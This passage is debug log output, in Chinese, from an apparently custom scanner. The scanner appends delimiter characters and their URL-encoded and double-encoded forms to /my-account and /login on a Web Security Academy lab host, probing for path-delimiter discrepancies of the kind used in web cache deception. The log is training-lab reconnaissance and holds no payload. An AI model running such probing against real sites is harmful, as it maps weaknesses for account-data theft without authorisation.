(来自字典): ‘&lt;’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account</a><aa2025/10/23 20:45:10 [DEBUG] 正在测试分隔符 (字典条目编码后): '%3C', URL: https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Caa2025/10/23 20:45:10 [DEBUG] 正在测试分隔符 (来自字典): '=', URL: https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account=aa2025/10/23 20:45:10 [DEBUG] 正在测试分隔符 (字典条目编码后): '%3D', URL: https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Daa2025/10/23 20:45:10 [DEBUG] 正在测试分隔符 (来自字典): '>', URL: https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account>aa<br>2025/10/23 20:45:10 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%3E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Eaa</a><br>2025/10/23 20:45:11 [DEBUG] 正在测试分隔符 (来自字典): ‘?’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account?aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account?aa</a><br>2025/10/23 20:45:11 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%3F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Faa</a><br>2025/10/23 20:45:11 [DEBUG] 正在测试分隔符 (来自字典): ‘@’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account@aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account@aa</a><br>2025/10/23 20:45:11 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%40’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%40aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%40aa</a><br>2025/10/23 20:45:11 [DEBUG] 正在测试分隔符 (来自字典): ‘[‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account[aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account[aa</a><br>2025/10/23 20:45:12 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%5B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%5Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%5Baa</a><br>2025/10/23 20:45:12 [DEBUG] 正在测试分隔符 (来自字典): ‘\’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account\aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account\aa</a><br>2025/10/23 20:45:12 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%5C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%5Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%5Caa</a><br>2025/10/23 20:45:12 [DEBUG] 正在测试分隔符 (来自字典): ‘]’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account]aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account]aa</a><br>2025/10/23 20:45:12 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%5D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%5Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%5Daa</a><br>2025/10/23 20:45:13 [DEBUG] 正在测试分隔符 (来自字典): ‘^’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account^aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account^aa</a><br>2025/10/23 20:45:13 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%5E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%5Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%5Eaa</a><br>2025/10/23 20:45:13 [DEBUG] 正在测试分隔符 (来自字典): ‘<em>‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account_aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account_aa</a><br>2025/10/23 20:45:13 [DEBUG] 正在测试分隔符 (来自字典): ‘<code>&#39;, URL: https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account</code>aa<br>2025/10/23 20:45:13 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%60’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%60aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%60aa</a><br>2025/10/23 20:45:13 [DEBUG] 正在测试分隔符 (来自字典): ‘{‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account{aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account{aa</a><br>2025/10/23 20:45:14 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%7B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%7Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%7Baa</a><br>2025/10/23 20:45:14 [DEBUG] 正在测试分隔符 (来自字典): ‘|’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account|aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account|aa</a><br>2025/10/23 20:45:14 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%7C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%7Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%7Caa</a><br>2025/10/23 20:45:14 [DEBUG] 正在测试分隔符 (来自字典): ‘}’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account}aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account}aa</a><br>2025/10/23 20:45:14 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%7D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%7Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%7Daa</a><br>2025/10/23 20:45:15 [DEBUG] 正在测试分隔符 (来自字典): ‘~’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account~aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account~aa</a><br>2025/10/23 20:45:15 [DEBUG] 正在测试分隔符 (来自字典): ‘%21’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%21aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%21aa</a><br>2025/10/23 20:45:15 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2521’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2521aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2521aa</a><br>2025/10/23 20:45:15 [DEBUG] 正在测试分隔符 (来自字典): ‘%22’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%22aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%22aa</a><br>2025/10/23 20:45:15 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2522’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2522aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2522aa</a><br>2025/10/23 20:45:15 [DEBUG] 正在测试分隔符 (来自字典): ‘%23’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%23aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%23aa</a><br>2025/10/23 20:45:16 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2523’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2523aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2523aa</a><br>2025/10/23 20:45:16 [DEBUG] 正在测试分隔符 (来自字典): ‘%24’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%24aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%24aa</a><br>2025/10/23 20:45:16 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2524’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2524aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2524aa</a><br>2025/10/23 20:45:16 [DEBUG] 正在测试分隔符 (来自字典): ‘%25’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%25aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%25aa</a><br>2025/10/23 20:45:16 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2525’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2525aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2525aa</a><br>2025/10/23 20:45:17 [DEBUG] 正在测试分隔符 (来自字典): ‘%26’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%26aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%26aa</a><br>2025/10/23 20:45:17 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2526’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2526aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2526aa</a><br>2025/10/23 20:45:17 [DEBUG] 正在测试分隔符 (来自字典): ‘%27’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%27aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%27aa</a><br>2025/10/23 20:45:17 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2527’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2527aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2527aa</a><br>2025/10/23 20:45:17 [DEBUG] 正在测试分隔符 (来自字典): ‘%28’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%28aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%28aa</a><br>2025/10/23 20:45:17 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2528’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2528aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2528aa</a><br>2025/10/23 20:45:18 [DEBUG] 正在测试分隔符 (来自字典): ‘%29’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%29aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%29aa</a><br>2025/10/23 20:45:18 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2529’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2529aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2529aa</a><br>2025/10/23 20:45:18 [DEBUG] 正在测试分隔符 (来自字典): ‘%2A’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2Aaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2Aaa</a><br>2025/10/23 20:45:18 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%252A’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%252Aaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%252Aaa</a><br>2025/10/23 20:45:18 [DEBUG] 正在测试分隔符 (来自字典): ‘%2B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2Baa</a><br>2025/10/23 20:45:18 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%252B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%252Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%252Baa</a><br>2025/10/23 20:45:19 [DEBUG] 正在测试分隔符 (来自字典): ‘%2C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2Caa</a><br>2025/10/23 20:45:19 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%252C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%252Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%252Caa</a><br>2025/10/23 20:45:19 [DEBUG] 正在测试分隔符 (来自字典): ‘%2D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2Daa</a><br>2025/10/23 20:45:19 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%252D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%252Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%252Daa</a><br>2025/10/23 20:45:19 [DEBUG] 正在测试分隔符 (来自字典): ‘%2E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2Eaa</a><br>2025/10/23 20:45:20 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%252E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%252Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%252Eaa</a><br>2025/10/23 20:45:20 [DEBUG] 正在测试分隔符 (来自字典): ‘%2F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2Faa</a><br>2025/10/23 20:45:20 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%252F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%252Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%252Faa</a><br>2025/10/23 20:45:20 [DEBUG] 正在测试分隔符 (来自字典): ‘%3A’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Aaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Aaa</a><br>2025/10/23 20:45:21 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%253A’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%253Aaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%253Aaa</a><br>2025/10/23 20:45:21 [DEBUG] 正在测试分隔符 (来自字典): ‘%3B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Baa</a><br>2025/10/23 20:45:21 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%253B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%253Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%253Baa</a><br>2025/10/23 20:45:21 [DEBUG] 正在测试分隔符 (来自字典): ‘%3C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Caa</a><br>2025/10/23 20:45:21 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%253C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%253Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%253Caa</a><br>2025/10/23 20:45:21 [DEBUG] 正在测试分隔符 (来自字典): ‘%3D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Daa</a><br>2025/10/23 20:45:22 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%253D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%253Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%253Daa</a><br>2025/10/23 20:45:22 [DEBUG] 正在测试分隔符 (来自字典): ‘%3E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Eaa</a><br>2025/10/23 20:45:22 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%253E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%253Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%253Eaa</a><br>2025/10/23 20:45:22 [DEBUG] 正在测试分隔符 (来自字典): ‘%3F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Faa</a><br>2025/10/23 20:45:22 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%253F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%253Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%253Faa</a><br>2025/10/23 20:45:23 [DEBUG] 正在测试分隔符 (来自字典): ‘%40’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%40aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%40aa</a><br>2025/10/23 20:45:23 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2540’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2540aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2540aa</a><br>2025/10/23 20:45:23 [DEBUG] 正在测试分隔符 (来自字典): ‘%5B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%5Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%5Baa</a><br>2025/10/23 20:45:23 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%255B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%255Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%255Baa</a><br>2025/10/23 20:45:23 [DEBUG] 正在测试分隔符 (来自字典): ‘%5C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%5Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%5Caa</a><br>2025/10/23 20:45:23 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%255C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%255Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%255Caa</a><br>2025/10/23 20:45:24 [DEBUG] 正在测试分隔符 (来自字典): ‘%5D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%5Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%5Daa</a><br>2025/10/23 20:45:24 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%255D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%255Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%255Daa</a><br>2025/10/23 20:45:24 [DEBUG] 正在测试分隔符 (来自字典): ‘%5E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%5Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%5Eaa</a><br>2025/10/23 20:45:24 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%255E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%255Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%255Eaa</a><br>2025/10/23 20:45:24 [DEBUG] 正在测试分隔符 (来自字典): ‘%5F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%5Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%5Faa</a><br>2025/10/23 20:45:25 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%255F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%255Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%255Faa</a><br>2025/10/23 20:45:25 [DEBUG] 正在测试分隔符 (来自字典): ‘%60’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%60aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%60aa</a><br>2025/10/23 20:45:25 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2560’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2560aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2560aa</a><br>2025/10/23 20:45:25 [DEBUG] 正在测试分隔符 (来自字典): ‘%7B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%7Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%7Baa</a><br>2025/10/23 20:45:25 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%257B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%257Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%257Baa</a><br>2025/10/23 20:45:25 [DEBUG] 正在测试分隔符 (来自字典): ‘%7C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%7Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%7Caa</a><br>2025/10/23 20:45:26 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%257C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%257Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%257Caa</a><br>2025/10/23 20:45:26 [DEBUG] 正在测试分隔符 (来自字典): ‘%7D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%7Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%7Daa</a><br>2025/10/23 20:45:26 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%257D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%257Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%257Daa</a><br>2025/10/23 20:45:26 [DEBUG] 正在测试分隔符 (来自字典): ‘%7E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%7Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%7Eaa</a><br>2025/10/23 20:45:26 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%257E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%257Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%257Eaa</a><br>2025/10/23 20:45:27 [DEBUG] 正在为分隔符检测选择基础URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login</a><br>2025/10/23 20:45:27 [DEBUG] 正在测试分隔符 (来自字典): ‘!’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login!aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login!aa</a><br>2025/10/23 20:45:27 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%21’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%21aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%21aa</a><br>2025/10/23 20:45:27 [DEBUG] 正在测试分隔符 (来自字典): ‘“‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login&quot;aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login&quot;aa</a><br>2025/10/23 20:45:27 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%22’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%22aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%22aa</a><br>2025/10/23 20:45:27 [DEBUG] 正在测试分隔符 (来自字典): ‘#’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login#aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login#aa</a><br>2025/10/23 20:45:28 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%23’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%23aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%23aa</a><br>2025/10/23 20:45:28 [DEBUG] 正在测试分隔符 (来自字典): ‘$’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login$aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login$aa</a><br>2025/10/23 20:45:28 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%24’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%24aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%24aa</a><br>2025/10/23 20:45:28 [DEBUG] 正在测试分隔符 (来自字典): ‘%’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%aa</a><br>2025/10/23 20:45:28 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%25’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%25aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%25aa</a><br>2025/10/23 20:45:29 [DEBUG] 正在测试分隔符 (来自字典): ‘&amp;’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login&amp;aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login&amp;aa</a><br>2025/10/23 20:45:29 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%26’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%26aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%26aa</a><br>2025/10/23 20:45:29 [DEBUG] 正在测试分隔符 (来自字典): ‘’’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login&#39;aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login&#39;aa</a><br>2025/10/23 20:45:29 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%27’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%27aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%27aa</a><br>2025/10/23 20:45:29 [DEBUG] 正在测试分隔符 (来自字典): ‘(‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login(aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login(aa</a><br>2025/10/23 20:45:29 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%28’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%28aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%28aa</a><br>2025/10/23 20:45:30 [DEBUG] 正在测试分隔符 (来自字典): ‘)’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login)aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login)aa</a><br>2025/10/23 20:45:30 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%29’, URL: <a 